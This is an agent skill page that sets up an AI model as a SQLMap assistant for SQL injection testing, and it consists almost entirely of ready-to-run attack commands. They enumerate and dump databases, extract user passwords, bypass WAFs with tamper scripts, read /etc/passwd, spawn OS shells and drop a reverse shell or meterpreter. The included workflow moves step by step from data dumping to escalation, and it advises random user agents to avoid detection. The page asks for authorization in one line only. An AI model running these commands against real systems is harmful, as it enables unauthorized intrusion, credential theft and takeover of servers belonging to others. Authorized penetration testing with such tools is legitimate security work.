# Sqlmap Assistant

> SQLMap automation and SQL injection testing assistant. Use this skill whenever the user needs to test for SQL injection vulnerabilities, run SQLMap commands, extract database information, or perform web application security testing. Trigger on mentions of SQLMap, SQL injection, database exploitation, web security testing, penetration testing, or any request to audit web applications for database vulnerabilities.

- Skill: `abelrguezr/sqlmap-assistant` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/sqlmap-assistant`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/sqlmap-assistant/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/sqlmap-assistant

---


# SQLMap Assistant

A skill for automating SQL injection testing with SQLMap, generating commands, and guiding security assessments.

## When to Use This Skill

Use this skill when:
- The user wants to test a web application for SQL injection vulnerabilities
- They need SQLMap command templates for specific scenarios
- They're doing penetration testing or security assessments
- They need help extracting database information from vulnerable applications
- They want to understand SQL injection techniques and payloads
- They're working with Burp Suite/ZAP captures for SQL injection testing

## Quick Start

### Basic SQLMap Command Template

```bash
sqlmap -u "<URL>" -p "<PARAMETER>" --batch --random-agent --threads=10 --level=5 --risk=3
```

### From Request File (Burp/ZAP)

```bash
sqlmap -r <request_file.txt> --batch --random-agent
```

## Common Testing Scenarios

### 1. GET Parameter Injection

```bash
sqlmap -u "http://target.com/page.php?id=1" -p id --batch
```

### 2. POST Data Injection

```bash
sqlmap -u "http://target.com/login" --data "username=admin&password=test" --batch
```

### 3. Cookie Injection

```bash
sqlmap -u "http://target.com" --cookie "session=abc123" --batch
```

### 4. Header Injection

```bash
sqlmap -u "http://target.com" --headers="X-Forwarded-For:127.0.0.1" --batch
```

### 5. Custom HTTP Method

```bash
sqlmap --method=PUT -u "http://target.com/api" --headers="X-Custom-Header:*" --batch
```

## Data Extraction Commands

### Enumerate Databases

```bash
# List all databases
sqlmap -u "<URL>" -p "<PARAM>" --dbs --batch

# List tables in a specific database
sqlmap -u "<URL>" -p "<PARAM>" -D <database_name> --tables --batch

# List columns in a table
sqlmap -u "<URL>" -p "<PARAM>" -D <database_name> -T <table_name> --columns --batch

# Dump all data from a table
sqlmap -u "<URL>" -p "<PARAM>" -D <database_name> -T <table_name> --dump --batch

# Dump specific columns
sqlmap -u "<URL>" -p "<PARAM>" -D <database_name> -T <table_name> -C <column1,column2> --dump --batch
```

### Extract User Information

```bash
# Get current database user
sqlmap -u "<URL>" -p "<PARAM>" --current-user --batch

# Check if user is DBA
sqlmap -u "<URL>" -p "<PARAM>" --is-dba --batch

# Get all usernames
sqlmap -u "<URL>" -p "<PARAM>" --users --batch

# Get user passwords
sqlmap -u "<URL>" -p "<PARAM>" --passwords --batch

# Get user privileges
sqlmap -u "<URL>" -p "<PARAM>" --privileges --batch

# Get system hostname
sqlmap -u "<URL>" -p "<PARAM>" --hostname --batch
```

### Dump Everything

```bash
sqlmap -u "<URL>" -p "<PARAM>" --all --batch
```

## Advanced Techniques

### Force Specific Injection Techniques

```bash
# Use only UNION and Time-based blind (in that order)
sqlmap -u "<URL>" -p "<PARAM>" --technique="UT" --batch

# Use only Boolean-based blind
sqlmap -u "<URL>" -p "<PARAM>" --technique="B" --batch

# Use only Error-based
sqlmap -u "<URL>" -p "<PARAM>" --technique="E" --batch
```

**Technique Reference:**
| Letter | Technique | Description |
|--------|-----------|-------------|
| B | Boolean-based blind | True/false conditions in response |
| E | Error-based | DBMS error messages |
| U | UNION query | UNION SELECT statements |
| S | Stacked queries | Multiple SQL statements |
| T | Time-based blind | SLEEP/WAITFOR delays |
| Q | Out-of-band | DNS exfiltration, LOAD_FILE() |

### Custom Prefix/Suffix

```bash
# Add prefix to injection point
sqlmap -u "<URL>" -p "<PARAM>" --prefix="') " --batch

# Add suffix to injection point
sqlmap -u "<URL>" -p "<PARAM>" --suffix="-- " --batch

# Both prefix and suffix
sqlmap -u "<URL>" -p "<PARAM>" --prefix="') " --suffix="-- " --batch
```

### Tamper Scripts (WAF Bypass)

```bash
# Use a tamper script
sqlmap -u "<URL>" -p "<PARAM>" --tamper=apostrophemask.py --batch

# Multiple tampers
sqlmap -u "<URL>" -p "<PARAM>" --tamper=apostrophemask.py,base64encode.py --batch
```

**Common Tamper Scripts:**
- `apostrophemask.py` - Replaces apostrophe with UTF-8 full width
- `base64encode.py` - Base64 encodes payload
- `chardoubleencode.py` - Double URL-encodes
- `space2comment.py` - Replaces spaces with comments
- `randomcase.py` - Random case for keywords
- `unionalltounion.py` - UNION ALL to UNION
- `versionedkeywords.py` - MySQL versioned comments

### Second Order Injection

```bash
sqlmap -r <request_file.txt> --dbms MySQL --second-order "http://target.com/reflective_page" --batch
```

### Custom String Detection

```bash
# Trigger when this string appears
sqlmap -u "<URL>" -p "<PARAM>" --string="success" --batch

# Trigger when this string does NOT appear
sqlmap -u "<URL>" -p "<PARAM>" --not-string="error" --batch
```

## System Access

### Execute OS Commands

```bash
# Run a specific command
sqlmap -u "<URL>" -p "<PARAM>" --os-cmd="whoami" --batch

# Interactive OS shell
sqlmap -u "<URL>" -p "<PARAM>" --os-shell --batch

# Drop reverse shell/meterpreter
sqlmap -u "<URL>" -p "<PARAM>" --os-pwn --batch
```

### Read Files

```bash
sqlmap -u "<URL>" -p "<PARAM>" --file-read=/etc/passwd --batch
```

## Crawl and Auto-Exploit

```bash
sqlmap -u "http://target.com/" --crawl=1 --forms --random-agent --batch --threads=5 --level=5 --risk=3
```

## Authentication Support

```bash
# HTTP Basic Auth
sqlmap -u "<URL>" -p "<PARAM>" --auth-type=Basic --auth-cred="user:pass" --batch

# HTTP Digest Auth
sqlmap -u "<URL>" -p "<PARAM>" --auth-type=Digest --auth-cred="user:pass" --batch

# HTTP NTLM Auth
sqlmap -u "<URL>" -p "<PARAM>" --auth-type=NTLM --auth-cred="user:pass" --batch
```

## Proxy Configuration

```bash
# Use Burp Suite proxy
sqlmap -u "<URL>" -p "<PARAM>" --proxy=http://127.0.0.1:8080 --batch

# Use other proxy
sqlmap -u "<URL>" -p "<PARAM>" --proxy=http://proxy.example.com:8080 --batch
```

## Performance and Aggression

```bash
# Maximum level and risk (aggressive)
sqlmap -u "<URL>" -p "<PARAM>" --level=5 --risk=3 --batch

# Increase threads
sqlmap -u "<URL>" -p "<PARAM>" --threads=10 --batch

# Random user agent
sqlmap -u "<URL>" -p "<PARAM>" --random-agent --batch

# Custom user agent
sqlmap -u "<URL>" -p "<PARAM>" --user-agent="Mozilla/5.0" --batch
```

## Known Database and OS

```bash
# Specify known DBMS
sqlmap -u "<URL>" -p "<PARAM>" --dbms=MySQL --batch

# Specify known OS
sqlmap -u "<URL>" -p "<PARAM>" --os=Linux --batch
```

## Python Eval (Advanced)

```bash
# Process payload with Python before sending
sqlmap -u "<URL>" -p "<PARAM>" --eval "<python_code>" --batch
```

## Workflow Guide

### Step 1: Initial Reconnaissance

1. Identify the target URL and parameters
2. Capture requests with Burp Suite or ZAP if needed
3. Start with basic detection:
   ```bash
   sqlmap -u "<URL>" -p "<PARAM>" --batch --random-agent
   ```

### Step 2: Confirm Vulnerability

1. If detected, enumerate databases:
   ```bash
   sqlmap -u "<URL>" -p "<PARAM>" --dbs --batch
   ```

### Step 3: Extract Data

1. List tables and columns
2. Dump sensitive data (usernames, passwords, etc.)
3. Check for system access capabilities

### Step 4: Escalation (if applicable)

1. Try OS command execution
2. Attempt file reading
3. Consider reverse shell if appropriate

## Important Notes

- **Always have authorization** before testing any system
- Use `--batch` for non-interactive mode (accepts defaults)
- Start with lower `--level` and `--risk` values, increase if needed
- Use `--random-agent` to avoid detection
- Consider using a proxy (Burp Suite) for request inspection
- Document findings for reporting

## Common Issues and Solutions

### SQLMap Doesn't Detect Injection

1. Try different techniques: `--technique="B"` or `--technique="T"`
2. Add prefix/suffix: `--prefix="') " --suffix="-- "`
3. Use tamper scripts: `--tamper=apostrophemask.py`
4. Force detection: `--technique="BEUSTQ"`

### WAF Blocking Requests

1. Use tamper scripts
2. Slow down with fewer threads
3. Use proxy to inspect and modify requests
4. Try different user agents

### Slow Performance

1. Increase threads: `--threads=10`
2. Specify known DBMS: `--dbms=MySQL`
3. Use `--batch` to skip prompts

## References

- [SQLMap Documentation](https://sqlmap.org/)
- [SQLMap GitHub](https://github.com/sqlmapproject/sqlmap)
- [SQLMapping Tool](https://taurusomar.github.io/sqlmapping/)